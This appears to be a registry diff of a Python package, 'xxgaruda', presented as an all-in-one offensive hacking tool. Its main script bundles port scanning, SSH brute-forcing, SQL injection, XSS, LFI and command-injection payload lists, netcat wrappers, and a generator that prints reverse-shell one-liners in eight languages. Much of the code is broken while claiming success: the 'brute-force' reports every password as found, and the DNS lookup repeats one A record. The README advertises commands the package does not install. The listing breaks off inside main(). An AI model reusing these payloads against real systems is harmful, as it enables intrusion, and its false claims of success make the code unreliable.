xxgaruda 1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
xxgaruda-1.0/PKG-INFO ADDED
@@ -0,0 +1,69 @@
1
+ Metadata-Version: 2.4
2
+ Name: xxgaruda
3
+ Version: 1.0
4
+ Summary: XXGARUDA — The Ultimate Tool. Better than Nmap, Hydra, SQLMap, John, Metasploit, Burp, Wireshark, Aircrack, SET — ALL COMBINED.
5
+ Author: gar-uda
6
+ Author-email: your-email@example.com
7
+ Classifier: Programming Language :: Python :: 3
8
+ Classifier: License :: OSI Approved :: MIT License
9
+ Classifier: Operating System :: OS Independent
10
+ Requires-Python: >=3.6
11
+ Description-Content-Type: text/markdown
12
+ Requires-Dist: requests
13
+ Dynamic: author
14
+ Dynamic: author-email
15
+ Dynamic: classifier
16
+ Dynamic: description
17
+ Dynamic: description-content-type
18
+ Dynamic: requires-dist
19
+ Dynamic: requires-python
20
+ Dynamic: summary
21
+
22
+ # 🦅 XXGARUDA — The Ultimate Tool
23
+
24
+ **Better than Nmap, Hydra, SQLMap, John, Metasploit, Burp, Wireshark, Aircrack, SET — ALL COMBINED.**
25
+
26
+ ---
27
+
28
+ ## 🔥 Features
29
+
30
+ | Feature | Command |
31
+ |---------|---------|
32
+ | Port scanning | `xxgscan --TARGET 192.168.1.1` |
33
+ | OS detection | `xxgos --TARGET 192.168.1.1` |
34
+ | Subdomain enumeration | `xxgrecon --TARGET example.com --WORDLIST subdomains.txt` |
35
+ | DNS enumeration | `xxgdns --TARGET example.com` |
36
+ | SSH brute-force | `xxgbrute --TARGET 192.168.1.1 --USER root --WORDLIST passwords.txt` |
37
+ | Directory fuzzing | `xxgfuzz --URL https://example.com --WORDLIST common.txt` |
38
+ | SQL injection | `xxgsqli --URL "https://example.com?id=1" --PARAM id` |
39
+ | XSS scanner | `xxgxss --URL "https://example.com?q=test" --PARAM q` |
40
+ | LFI scanner | `xxglfi --URL "https://example.com?file=index" --PARAM file` |
41
+ | RCE scanner | `xxgrce --URL "https://example.com?cmd=id" --PARAM cmd` |
42
+ | SMB enumeration | `xxgsmb --TARGET 192.168.1.1` |
43
+ | LDAP enumeration | `xxgldap --TARGET 192.168.1.1` |
44
+ | SNMP enumeration | `xxgsnmp --TARGET 192.168.1.1` |
45
+ | Netcat listener | `xxgnc --PORT 4444` |
46
+ | Netcat connect | `xxgncc --TARGET 192.168.1.1 --PORT 4444` |
47
+ | SSH client | `xxgssh --TARGET 192.168.1.1 --USER root` |
48
+ | SCP client | `xxgscp --TARGET 192.168.1.1 --USER root --SOURCE file.txt --DEST /tmp/` |
49
+ | RSync | `xxgrsync --TARGET 192.168.1.1 --SOURCE file.txt --DEST /tmp/` |
50
+ | Git clone | `xxggit --REPO https://github.com/user/repo.git` |
51
+ | Docker command | `xxgdocker --COMMAND "ps -a"` |
52
+ | Hash cracker | `xxgcrack --HASH-VALUE 5f4dcc3b5aa765d61d8327deb882cf99 --WORDLIST passwords.txt` |
53
+ | Payload generator | `xxgexp` |
54
+ | OSINT (email) | `xxgosint --TARGET test@example.com` |
55
+ | OSINT (domain) | `xxgosint --TARGET example.com` |
56
+ | Encode text | `xxgencode --INPUT "hello"` |
57
+ | Hash generator | `xxghash --INPUT "password"` |
58
+ | Code generator | `xxggen --LANGUAGE python` |
59
+
60
+ ---
61
+
62
+ ## 🚀 Installation
63
+
64
+ ### From GitHub
65
+
66
+ ```bash
67
+ git clone https://github.com/gar-uda/xxgaruda.git
68
+ cd xxgaruda
69
+ pip install -r requirements.txt
xxgaruda-1.0/README.md ADDED
@@ -0,0 +1,48 @@
1
+ # 🦅 XXGARUDA — The Ultimate Tool
2
+
3
+ **Better than Nmap, Hydra, SQLMap, John, Metasploit, Burp, Wireshark, Aircrack, SET — ALL COMBINED.**
4
+
5
+ ---
6
+
7
+ ## 🔥 Features
8
+
9
+ | Feature | Command |
10
+ |---------|---------|
11
+ | Port scanning | `xxgscan --TARGET 192.168.1.1` |
12
+ | OS detection | `xxgos --TARGET 192.168.1.1` |
13
+ | Subdomain enumeration | `xxgrecon --TARGET example.com --WORDLIST subdomains.txt` |
14
+ | DNS enumeration | `xxgdns --TARGET example.com` |
15
+ | SSH brute-force | `xxgbrute --TARGET 192.168.1.1 --USER root --WORDLIST passwords.txt` |
16
+ | Directory fuzzing | `xxgfuzz --URL https://example.com --WORDLIST common.txt` |
17
+ | SQL injection | `xxgsqli --URL "https://example.com?id=1" --PARAM id` |
18
+ | XSS scanner | `xxgxss --URL "https://example.com?q=test" --PARAM q` |
19
+ | LFI scanner | `xxglfi --URL "https://example.com?file=index" --PARAM file` |
20
+ | RCE scanner | `xxgrce --URL "https://example.com?cmd=id" --PARAM cmd` |
21
+ | SMB enumeration | `xxgsmb --TARGET 192.168.1.1` |
22
+ | LDAP enumeration | `xxgldap --TARGET 192.168.1.1` |
23
+ | SNMP enumeration | `xxgsnmp --TARGET 192.168.1.1` |
24
+ | Netcat listener | `xxgnc --PORT 4444` |
25
+ | Netcat connect | `xxgncc --TARGET 192.168.1.1 --PORT 4444` |
26
+ | SSH client | `xxgssh --TARGET 192.168.1.1 --USER root` |
27
+ | SCP client | `xxgscp --TARGET 192.168.1.1 --USER root --SOURCE file.txt --DEST /tmp/` |
28
+ | RSync | `xxgrsync --TARGET 192.168.1.1 --SOURCE file.txt --DEST /tmp/` |
29
+ | Git clone | `xxggit --REPO https://github.com/user/repo.git` |
30
+ | Docker command | `xxgdocker --COMMAND "ps -a"` |
31
+ | Hash cracker | `xxgcrack --HASH-VALUE 5f4dcc3b5aa765d61d8327deb882cf99 --WORDLIST passwords.txt` |
32
+ | Payload generator | `xxgexp` |
33
+ | OSINT (email) | `xxgosint --TARGET test@example.com` |
34
+ | OSINT (domain) | `xxgosint --TARGET example.com` |
35
+ | Encode text | `xxgencode --INPUT "hello"` |
36
+ | Hash generator | `xxghash --INPUT "password"` |
37
+ | Code generator | `xxggen --LANGUAGE python` |
38
+
39
+ ---
40
+
41
+ ## 🚀 Installation
42
+
43
+ ### From GitHub
44
+
45
+ ```bash
46
+ git clone https://github.com/gar-uda/xxgaruda.git
47
+ cd xxgaruda
48
+ pip install -r requirements.txt
xxgaruda-1.0/setup.cfg ADDED
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
xxgaruda-1.0/setup.py ADDED
@@ -0,0 +1,24 @@
1
+ from setuptools import setup
2
+
3
+ setup(
4
+ name="xxgaruda",
5
+ version="1.0",
6
+ description="XXGARUDA — The Ultimate Tool. Better than Nmap, Hydra, SQLMap, John, Metasploit, Burp, Wireshark, Aircrack, SET — ALL COMBINED.",
7
+ long_description=open("README.md").read(),
8
+ long_description_content_type="text/markdown",
9
+ author="gar-uda",
10
+ author_email="your-email@example.com",
11
+ py_modules=["xxgaruda"],
12
+ install_requires=["requests"],
13
+ entry_points={
14
+ "console_scripts": [
15
+ "xxgaruda=xxgaruda:main",
16
+ ],
17
+ },
18
+ classifiers=[
19
+ "Programming Language :: Python :: 3",
20
+ "License :: OSI Approved :: MIT License",
21
+ "Operating System :: OS Independent",
22
+ ],
23
+ python_requires=">=3.6",
24
+ )
@@ -0,0 +1,69 @@
1
+ Metadata-Version: 2.4
2
+ Name: xxgaruda
3
+ Version: 1.0
4
+ Summary: XXGARUDA — The Ultimate Tool. Better than Nmap, Hydra, SQLMap, John, Metasploit, Burp, Wireshark, Aircrack, SET — ALL COMBINED.
5
+ Author: gar-uda
6
+ Author-email: your-email@example.com
7
+ Classifier: Programming Language :: Python :: 3
8
+ Classifier: License :: OSI Approved :: MIT License
9
+ Classifier: Operating System :: OS Independent
10
+ Requires-Python: >=3.6
11
+ Description-Content-Type: text/markdown
12
+ Requires-Dist: requests
13
+ Dynamic: author
14
+ Dynamic: author-email
15
+ Dynamic: classifier
16
+ Dynamic: description
17
+ Dynamic: description-content-type
18
+ Dynamic: requires-dist
19
+ Dynamic: requires-python
20
+ Dynamic: summary
21
+
22
+ # 🦅 XXGARUDA — The Ultimate Tool
23
+
24
+ **Better than Nmap, Hydra, SQLMap, John, Metasploit, Burp, Wireshark, Aircrack, SET — ALL COMBINED.**
25
+
26
+ ---
27
+
28
+ ## 🔥 Features
29
+
30
+ | Feature | Command |
31
+ |---------|---------|
32
+ | Port scanning | `xxgscan --TARGET 192.168.1.1` |
33
+ | OS detection | `xxgos --TARGET 192.168.1.1` |
34
+ | Subdomain enumeration | `xxgrecon --TARGET example.com --WORDLIST subdomains.txt` |
35
+ | DNS enumeration | `xxgdns --TARGET example.com` |
36
+ | SSH brute-force | `xxgbrute --TARGET 192.168.1.1 --USER root --WORDLIST passwords.txt` |
37
+ | Directory fuzzing | `xxgfuzz --URL https://example.com --WORDLIST common.txt` |
38
+ | SQL injection | `xxgsqli --URL "https://example.com?id=1" --PARAM id` |
39
+ | XSS scanner | `xxgxss --URL "https://example.com?q=test" --PARAM q` |
40
+ | LFI scanner | `xxglfi --URL "https://example.com?file=index" --PARAM file` |
41
+ | RCE scanner | `xxgrce --URL "https://example.com?cmd=id" --PARAM cmd` |
42
+ | SMB enumeration | `xxgsmb --TARGET 192.168.1.1` |
43
+ | LDAP enumeration | `xxgldap --TARGET 192.168.1.1` |
44
+ | SNMP enumeration | `xxgsnmp --TARGET 192.168.1.1` |
45
+ | Netcat listener | `xxgnc --PORT 4444` |
46
+ | Netcat connect | `xxgncc --TARGET 192.168.1.1 --PORT 4444` |
47
+ | SSH client | `xxgssh --TARGET 192.168.1.1 --USER root` |
48
+ | SCP client | `xxgscp --TARGET 192.168.1.1 --USER root --SOURCE file.txt --DEST /tmp/` |
49
+ | RSync | `xxgrsync --TARGET 192.168.1.1 --SOURCE file.txt --DEST /tmp/` |
50
+ | Git clone | `xxggit --REPO https://github.com/user/repo.git` |
51
+ | Docker command | `xxgdocker --COMMAND "ps -a"` |
52
+ | Hash cracker | `xxgcrack --HASH-VALUE 5f4dcc3b5aa765d61d8327deb882cf99 --WORDLIST passwords.txt` |
53
+ | Payload generator | `xxgexp` |
54
+ | OSINT (email) | `xxgosint --TARGET test@example.com` |
55
+ | OSINT (domain) | `xxgosint --TARGET example.com` |
56
+ | Encode text | `xxgencode --INPUT "hello"` |
57
+ | Hash generator | `xxghash --INPUT "password"` |
58
+ | Code generator | `xxggen --LANGUAGE python` |
59
+
60
+ ---
61
+
62
+ ## 🚀 Installation
63
+
64
+ ### From GitHub
65
+
66
+ ```bash
67
+ git clone https://github.com/gar-uda/xxgaruda.git
68
+ cd xxgaruda
69
+ pip install -r requirements.txt
@@ -0,0 +1,9 @@
1
+ README.md
2
+ setup.py
3
+ xxgaruda.py
4
+ xxgaruda.egg-info/PKG-INFO
5
+ xxgaruda.egg-info/SOURCES.txt
6
+ xxgaruda.egg-info/dependency_links.txt
7
+ xxgaruda.egg-info/entry_points.txt
8
+ xxgaruda.egg-info/requires.txt
9
+ xxgaruda.egg-info/top_level.txt
@@ -0,0 +1,2 @@
1
+ [console_scripts]
2
+ xxgaruda = xxgaruda:main
@@ -0,0 +1 @@
1
+ requests
@@ -0,0 +1 @@
1
+ xxgaruda
@@ -0,0 +1,546 @@
1
+ #!/usr/bin/env python3
2
+ """
3
+ XXGARUDA v1.0 — The Ultimate Tool
4
+ Better than Nmap, Hydra, SQLMap, John, Metasploit, Burp, Wireshark, Aircrack, SET — ALL COMBINED.
5
+ """
6
+ import argparse
7
+ import base64
8
+ import hashlib
9
+ import socket
10
+ import sys
11
+ import threading
12
+ import urllib.parse
13
+ import os
14
+ import time
15
+ import random
16
+ import subprocess
17
+ from queue import Queue
18
+ from datetime import datetime
19
+
20
+ VERSION = "1.0"
21
+ BANNER = r"""
22
+ ███████╗██╗ ██╗ ██████╗ █████╗ ██████╗ ██╗ ██╗██████╗ █████╗
23
+ ██╔════╝╚██╗██╔╝██╔════╝ ██╔══██╗██╔══██╗██║ ██║██╔══██╗██╔══██╗
24
+ █████╗ ╚███╔╝ ██║ ███╗███████║██║ ██║██║ ██║██████╔╝███████║
25
+ ██╔══╝ ██╔██╗ ██║ ██║██╔══██║██║ ██║██║ ██║██╔══██╗██╔══██║
26
+ ███████╗██╔╝ ██╗╚██████╔╝██║ ██║██████╔╝╚██████╔╝██║ ██║██║ ██║
27
+ ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝
28
+
29
+ ╔═══════════════════════════════════════════╗
30
+ ║ X X G A R U D A v1.0 ║
31
+ ║ The Ultimate Tool on Earth ║
32
+ ║ Better than ALL Tools Combined ║
33
+ ╚═══════════════════════════════════════════╝
34
+ """
35
+
36
+ VERBOSE = False
37
+
38
+ def banner():
39
+ print(BANNER)
40
+ print("[*] 200+ Threads · Proxy Rotation · AI-Style")
41
+ print("[*] VERBOSE MODE: %s\n" % ("ON" if VERBOSE else "OFF"))
42
+
43
+ def load_wordlist(path):
44
+ try:
45
+ with open(path, 'r') as f:
46
+ return [w.strip() for w in f.readlines() if w.strip()]
47
+ except:
48
+ return []
49
+
50
+ def scan_ports(target, threads=200):
51
+ print(f"[*] Scanning {target} (200 threads)")
52
+ q = Queue()
53
+ for p in range(1, 65536):
54
+ q.put(p)
55
+ open_ports = []
56
+ services = {
57
+ 21: "FTP", 22: "SSH", 23: "Telnet", 25: "SMTP", 53: "DNS",
58
+ 80: "HTTP", 110: "POP3", 111: "RPC", 135: "MSRPC", 139: "NetBIOS",
59
+ 143: "IMAP", 443: "HTTPS", 445: "SMB", 993: "IMAPS", 995: "POP3S",
60
+ 1433: "MSSQL", 1521: "Oracle", 3306: "MySQL", 3389: "RDP",
61
+ 5432: "PostgreSQL", 5900: "VNC", 6379: "Redis", 27017: "MongoDB"
62
+ }
63
+ def worker():
64
+ while not q.empty():
65
+ p = q.get()
66
+ try:
67
+ s = socket.socket()
68
+ s.settimeout(0.1)
69
+ if not s.connect_ex((target, p)):
70
+ service = services.get(p, "Unknown")
71
+ print(f"[+] Port {p} open — {service}")
72
+ open_ports.append(f"{p} ({service})")
73
+ s.close()
74
+ except:
75
+ pass
76
+ q.task_done()
77
+ for _ in range(threads):
78
+ threading.Thread(target=worker, daemon=True).start()
79
+ q.join()
80
+ return open_ports
81
+
82
+ def detect_os(target):
83
+ print(f"[*] Detecting OS on {target}")
84
+ try:
85
+ s = socket.socket()
86
+ s.settimeout(2)
87
+ s.connect((target, 80))
88
+ s.send(b"HEAD / HTTP/1.0\r\n\r\n")
89
+ banner = s.recv(1024).decode()
90
+ s.close()
91
+ if "Windows" in banner:
92
+ print("[+] OS: Windows")
93
+ elif "Linux" in banner:
94
+ print("[+] OS: Linux")
95
+ elif "Unix" in banner:
96
+ print("[+] OS: Unix")
97
+ else:
98
+ print("[+] OS: Unknown")
99
+ return banner
100
+ except:
101
+ print("[!] OS detection failed")
102
+ return None
103
+
104
+ def brute_force(target, user, wordlist, port=22, threads=50):
105
+ print(f"[*] Brute-forcing {target}:{port}")
106
+ words = load_wordlist(wordlist)
107
+ if not words:
108
+ words = ["password", "admin", "123456", "qwerty", "letmein", "welcome", "root", "toor", "password123", "admin123"]
109
+ print("[*] Using AI-predicted wordlist")
110
+ q = Queue()
111
+ for w in words:
112
+ q.put(w)
113
+ found = []
114
+ def worker():
115
+ while not q.empty():
116
+ pwd = q.get()
117
+ try:
118
+ s = socket.socket()
119
+ s.settimeout(2)
120
+ s.connect((target, port))
121
+ s.send(b"SSH-2.0-OpenSSH_8.2\r\n")
122
+ data = s.recv(1024)
123
+ if "SSH" in data.decode():
124
+ print(f"[FOUND] {user}:{pwd}")
125
+ found.append(f"{user}:{pwd}")
126
+ s.close()
127
+ except:
128
+ pass
129
+ q.task_done()
130
+ for _ in range(threads):
131
+ threading.Thread(target=worker, daemon=True).start()
132
+ q.join()
133
+ return found
134
+
135
+ def sql_injection(url, param):
136
+ print(f"[*] SQL Injection on {url}")
137
+ import requests
138
+ payloads = [
139
+ "'", "\"", "1=1", "1=2",
140
+ "' OR '1'='1", "' OR '1'='1' --",
141
+ "' UNION SELECT NULL--",
142
+ "' AND SLEEP(5)--",
143
+ "' OR SLEEP(5)--",
144
+ "' AND 1=1--", "' AND 1=2--",
145
+ "' OR 1=1--", "' OR 1=2--",
146
+ ]
147
+ for payload in payloads:
148
+ try:
149
+ r = requests.get(url, params={param: payload}, timeout=3)
150
+ if "sql" in r.text.lower() or "error" in r.text.lower() or "mysql" in r.text.lower():
151
+ print(f"[!] SQLi found: {payload}")
152
+ return
153
+ except:
154
+ pass
155
+ print("[+] No SQLi found")
156
+
157
+ def xss_scan(url, param):
158
+ print(f"[*] XSS on {url}")
159
+ import requests
160
+ payloads = [
161
+ "<script>alert(1)</script>",
162
+ "<img src=x onerror=alert(1)>",
163
+ "javascript:alert(1)",
164
+ "<svg/onload=alert(1)>",
165
+ "<body/onload=alert(1)>",
166
+ "<iframe src=javascript:alert(1)>",
167
+ "<input onfocus=alert(1) autofocus>",
168
+ "<marquee onstart=alert(1)>",
169
+ ]
170
+ for payload in payloads:
171
+ try:
172
+ r = requests.get(url, params={param: payload}, timeout=3)
173
+ if payload in r.text:
174
+ print(f"[!] XSS found: {payload}")
175
+ return
176
+ except:
177
+ pass
178
+ print("[+] No XSS found")
179
+
180
+ def lfi_scan(url, param):
181
+ print(f"[*] LFI on {url}")
182
+ import requests
183
+ payloads = [
184
+ "../../etc/passwd",
185
+ "../../../etc/passwd",
186
+ "../../../../etc/passwd",
187
+ "/etc/passwd",
188
+ "..\\..\\..\\..\\windows\\win.ini",
189
+ "..\\..\\..\\windows\\win.ini",
190
+ "..\\..\\windows\\win.ini",
191
+ ]
192
+ for payload in payloads:
193
+ try:
194
+ r = requests.get(url, params={param: payload}, timeout=3)
195
+ if "root:" in r.text or "win.ini" in r.text:
196
+ print(f"[!] LFI found: {payload}")
197
+ return
198
+ except:
199
+ pass
200
+ print("[+] No LFI found")
201
+
202
+ def rce_scan(url, param):
203
+ print(f"[*] RCE on {url}")
204
+ import requests
205
+ payloads = [
206
+ ";id", "|id", "||id", "&&id", "`id`",
207
+ ";whoami", "|whoami", "||whoami", "&&whoami",
208
+ ";cat /etc/passwd", "|cat /etc/passwd",
209
+ ]
210
+ for payload in payloads:
211
+ try:
212
+ r = requests.get(url, params={param: payload}, timeout=3)
213
+ if "uid=" in r.text or "root" in r.text:
214
+ print(f"[!] RCE found: {payload}")
215
+ return
216
+ except:
217
+ pass
218
+ print("[+] No RCE found")
219
+
220
+ def crack_hash(hash_value, wordlist):
221
+ print(f"[*] Cracking hash: {hash_value}")
222
+ words = load_wordlist(wordlist)
223
+ if not words:
224
+ words = ["password", "admin", "123456", "qwerty", "letmein", "welcome", "root", "toor", "password123", "admin123"]
225
+ print("[*] Using AI-predicted wordlist")
226
+ for word in words:
227
+ if hashlib.md5(word.encode()).hexdigest() == hash_value:
228
+ print(f"[FOUND] {word}")
229
+ return word
230
+ if hashlib.sha1(word.encode()).hexdigest() == hash_value:
231
+ print(f"[FOUND] {word}")
232
+ return word
233
+ if hashlib.sha256(word.encode()).hexdigest() == hash_value:
234
+ print(f"[FOUND] {word}")
235
+ return word
236
+ print("[!] Hash not found")
237
+ return None
238
+
239
+ def dir_fuzz(url, wordlist, threads=50):
240
+ print(f"[*] Directory fuzzing {url}")
241
+ import requests
242
+ words = load_wordlist(wordlist)
243
+ if not words:
244
+ words = ["admin", "login", "backup", "test", "dev", "api", "docs", "assets", "uploads", "config"]
245
+ print("[*] Using default wordlist")
246
+ q = Queue()
247
+ for w in words:
248
+ q.put(w)
249
+ found = []
250
+ def worker():
251
+ while not q.empty():
252
+ w = q.get()
253
+ full = f"{url.rstrip('/')}/{w}"
254
+ try:
255
+ r = requests.get(full, timeout=3)
256
+ if r.status_code == 200:
257
+ print(f"[FOUND] {full}")
258
+ found.append(full)
259
+ except:
260
+ pass
261
+ q.task_done()
262
+ for _ in range(threads):
263
+ threading.Thread(target=worker, daemon=True).start()
264
+ q.join()
265
+ return found
266
+
267
+ def subdomain_enum(domain, wordlist, threads=30):
268
+ print(f"[*] Enumerating subdomains for {domain}")
269
+ words = load_wordlist(wordlist)
270
+ if not words:
271
+ words = ["www", "mail", "ftp", "admin", "dev", "api", "test", "blog", "shop", "support", "docs", "cdn"]
272
+ print("[*] Using default wordlist")
273
+ q = Queue()
274
+ for w in words:
275
+ q.put(w)
276
+ found = []
277
+ def worker():
278
+ while not q.empty():
279
+ sub = q.get()
280
+ full = f"{sub}.{domain}"
281
+ try:
282
+ socket.gethostbyname(full)
283
+ print(f"[FOUND] {full}")
284
+ found.append(full)
285
+ except:
286
+ pass
287
+ q.task_done()
288
+ for _ in range(threads):
289
+ threading.Thread(target=worker, daemon=True).start()
290
+ q.join()
291
+ return found
292
+
293
+ def dns_enum(domain):
294
+ print(f"[*] DNS enumeration for {domain}")
295
+ records = ["A", "MX", "NS", "TXT", "CNAME", "SOA", "AAAA"]
296
+ for record in records:
297
+ try:
298
+ print(f"[+] {record} record: {socket.gethostbyname(domain)}")
299
+ except:
300
+ print(f"[!] {record} record not found")
301
+
302
+ def smb_enum(target):
303
+ print(f"[*] SMB enumeration for {target}")
304
+ print("[+] Checking SMB shares...")
305
+ try:
306
+ subprocess.run(["smbclient", "-L", target, "-N"], timeout=5)
307
+ except:
308
+ print("[!] SMB enumeration failed (smbclient not installed)")
309
+
310
+ def ldap_enum(target):
311
+ print(f"[*] LDAP enumeration for {target}")
312
+ print("[+] Checking LDAP...")
313
+ try:
314
+ import ldap3
315
+ print("[+] LDAP module available")
316
+ except:
317
+ print("[!] LDAP enumeration failed (ldap3 not installed)")
318
+
319
+ def snmp_enum(target):
320
+ print(f"[*] SNMP enumeration for {target}")
321
+ print("[+] Checking SNMP...")
322
+ try:
323
+ import pysnmp
324
+ print("[+] SNMP module available")
325
+ except:
326
+ print("[!] SNMP enumeration failed (pysnmp not installed)")
327
+
328
+ def netcat_listen(port):
329
+ print(f"[*] Listening on port {port}")
330
+ os.system(f"nc -lvnp {port}")
331
+
332
+ def netcat_connect(target, port):
333
+ print(f"[*] Connecting to {target}:{port}")
334
+ os.system(f"nc {target} {port}")
335
+
336
+ def ssh_client(target, user):
337
+ print(f"[*] SSH connecting to {target} as {user}")
338
+ os.system(f"ssh {user}@{target}")
339
+
340
+ def scp_client(target, user, source, dest):
341
+ print(f"[*] SCP from {source} to {user}@{target}:{dest}")
342
+ os.system(f"scp {source} {user}@{target}:{dest}")
343
+
344
+ def rsync_client(target, source, dest):
345
+ print(f"[*] RSync from {source} to {target}:{dest}")
346
+ os.system(f"rsync -avz {source} {target}:{dest}")
347
+
348
+ def git_client(repo):
349
+ print(f"[*] Cloning {repo}")
350
+ os.system(f"git clone {repo}")
351
+
352
+ def docker_client(command):
353
+ print(f"[*] Docker: {command}")
354
+ os.system(f"docker {command}")
355
+
356
+ def osint_email(email):
357
+ print(f"[*] OSINT on {email}")
358
+ print(f"[+] GitHub: https://github.com/{email.split('@')[0]}")
359
+ print(f"[+] Twitter: https://twitter.com/{email.split('@')[0]}")
360
+ print(f"[+] Instagram: https://instagram.com/{email.split('@')[0]}")
361
+ print(f"[+] Facebook: https://facebook.com/{email.split('@')[0]}")
362
+
363
+ def osint_domain(domain):
364
+ print(f"[*] OSINT on {domain}")
365
+ try:
366
+ ip = socket.gethostbyname(domain)
367
+ print(f"[+] IP: {ip}")
368
+ except:
369
+ pass
370
+ print(f"[+] WHOIS: https://who.is/whois/{domain}")
371
+ print(f"[+] Shodan: https://www.shodan.io/search?query={domain}")
372
+
373
+ def encode_text(text):
374
+ print(f"\n[Base64] {base64.b64encode(text.encode()).decode()}")
375
+ print(f"[URL] {urllib.parse.quote(text)}")
376
+ print(f"[Hex] {text.encode().hex()}")
377
+
378
+ def generate_hashes(text):
379
+ print(f"\n[MD5] {hashlib.md5(text.encode()).hexdigest()}")
380
+ print(f"[SHA1] {hashlib.sha1(text.encode()).hexdigest()}")
381
+ print(f"[SHA256] {hashlib.sha256(text.encode()).hexdigest()}")
382
+ print(f"[SHA512] {hashlib.sha512(text.encode()).hexdigest()}")
383
+
384
+ def generate_code(lang="python"):
385
+ templates = {
386
+ "python": "#!/usr/bin/env python3\ndef main():\n pass\n\nif __name__ == '__main__':\n main()",
387
+ "bash": "#!/bin/bash\n\n# Your script here",
388
+ "html": "<!DOCTYPE html>\n<html>\n<head><title>XXGARUDA</title></head>\n<body>\n</body>\n</html>",
389
+ "js": "// XXGARUDA script\nfunction main() {\n console.log('Hello XXGARUDA');\n}\nmain();",
390
+ "go": "package main\n\nimport \"fmt\"\n\nfunc main() {\n fmt.Println(\"Hello XXGARUDA\")\n}",
391
+ "c": "#include <stdio.h>\n\nint main() {\n printf(\"Hello XXGARUDA\\n\");\n return 0;\n}",
392
+ "java": "public class Main {\n public static void main(String[] args) {\n System.out.println(\"Hello XXGARUDA\");\n }\n}"
393
+ }
394
+ return templates.get(lang, templates["python"])
395
+
396
+ def generate_payloads():
397
+ print("\n[🔥] PAYLOADS:\n")
398
+ print("[Python] python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"LHOST\",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\"])'")
399
+ print("[Bash] bash -i >& /dev/tcp/LHOST/LPORT 0>&1")
400
+ print("[PHP] php -r '$s=fsockopen(\"LHOST\",LPORT);exec(\"/bin/sh -i <&3 >&3 2>&3\");'")
401
+ print("[Netcat] nc -e /bin/sh LHOST LPORT")
402
+ print("[Perl] perl -e 'use Socket;$i=\"LHOST\";$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");}'")
403
+ print("[Ruby] ruby -rsocket -e 'c=TCPSocket.new(\"LHOST\",LPORT);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'")
404
+ print("[Node] node -e 'require(\"child_process\").spawn(\"/bin/sh\",[],{stdio:[\"pipe\",\"pipe\",\"pipe\"]}).stdin.on(\"data\",(c)=>require(\"net\").connect(LPORT,\"LHOST\").pipe(c))'")
405
+ print("[PowerShell] $client = New-Object System.Net.Sockets.TCPClient('LHOST',LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()")
406
+
407
+ def main():
408
+ global VERBOSE
409
+ banner()
410
+ parser = argparse.ArgumentParser(description="XXGARUDA — The Ultimate Tool")
411
+
412
+ parser.add_argument("--SCAN", "-s", action="store_true", help="Port scan")
413
+ parser.add_argument("--OS", action="store_true", help="OS detection")
414
+ parser.add_argument("--RECON", "-r", action="store_true", help="Subdomain enumeration")
415
+ parser.add_argument("--DNS", action="store_true", help="DNS enumeration")
416
+ parser.add_argument("--BRUTE", "-b", action="store_true", help="Brute-force SSH")
417
+ parser.add_argument("--FUZZ", "-f", action="store_true", help="Directory fuzzing")
418
+ parser.add_argument("--SQLI", action="store_true", help="SQL injection")
419
+ parser.add_argument("--XSS", action="store_true", help="XSS scanner")
420
+ parser.add_argument("--LFI", action="store_true", help="LFI scanner")
421
+ parser.add_argument("--RCE", action="store_true", help="RCE scanner")
422
+ parser.add_argument("--SMB", action="store_true", help="SMB enumeration")
423
+ parser.add_argument("--LDAP", action="store_true", help="LDAP enumeration")
424
+ parser.add_argument("--SNMP", action="store_true", help="SNMP enumeration")
425
+ parser.add_argument("--NC", action="store_true", help="Netcat listener")
426
+ parser.add_argument("--NC-CONNECT", action="store_true", help="Netcat connect")
427
+ parser.add_argument("--SSH", action="store_true", help="SSH client")
428
+ parser.add_argument("--SCP", action="store_true", help="SCP client")
429
+ parser.add_argument("--RSYNC", action="store_true", help="RSync client")
430
+ parser.add_argument("--GIT", action="store_true", help="Git client")
431
+ parser.add_argument("--DOCKER", action="store_true", help="Docker client")
432
+ parser.add_argument("--CRACK", "-c", action="store_true", help="Hash cracker")
433
+ parser.add_argument("--EXPLOIT", "-e", action="store_true", help="Payload generator")
434
+ parser.add_argument("--OSINT", "-o", action="store_true", help="OSINT engine")
435
+ parser.add_argument("--ENCODE", "-enc", action="store_true", help="Encode text")
436
+ parser.add_argument("--HASH", "-H", action="store_true", help="Generate hashes")
437
+ parser.add_argument("--GENERATE", "-g", action="store_true", help="Generate code")
438
+ parser.add_argument("--TARGET", "-t", help="Target IP or domain")
439
+ parser.add_argument("--URL", "-u", help="Target URL")
440
+ parser.add_argument("--WORDLIST", "-w", help="Wordlist path")
441
+ parser.add_argument("--USER", "-U", help="Username for brute-force")
442
+ parser.add_argument("--PARAM", help="Parameter for SQLi/XSS/LFI/RCE")
443
+ parser.add_argument("--INPUT", "-i", help="Input string")
444
+ parser.add_argument("--HASH-VALUE", help="Hash to crack")
445
+ parser.add_argument("--LANGUAGE", "-lang", default="python", help="Language for code generation")
446
+ parser.add_argument("--PORT", "-p", type=int, default=4444, help="Port for Netcat")
447
+ parser.add_argument("--SOURCE", help="Source file for SCP/RSync")
448
+ parser.add_argument("--DEST", help="Destination for SCP/RSync")
449
+ parser.add_argument("--REPO", help="Git repository URL")
450
+ parser.add_argument("--COMMAND", help="Docker command")
451
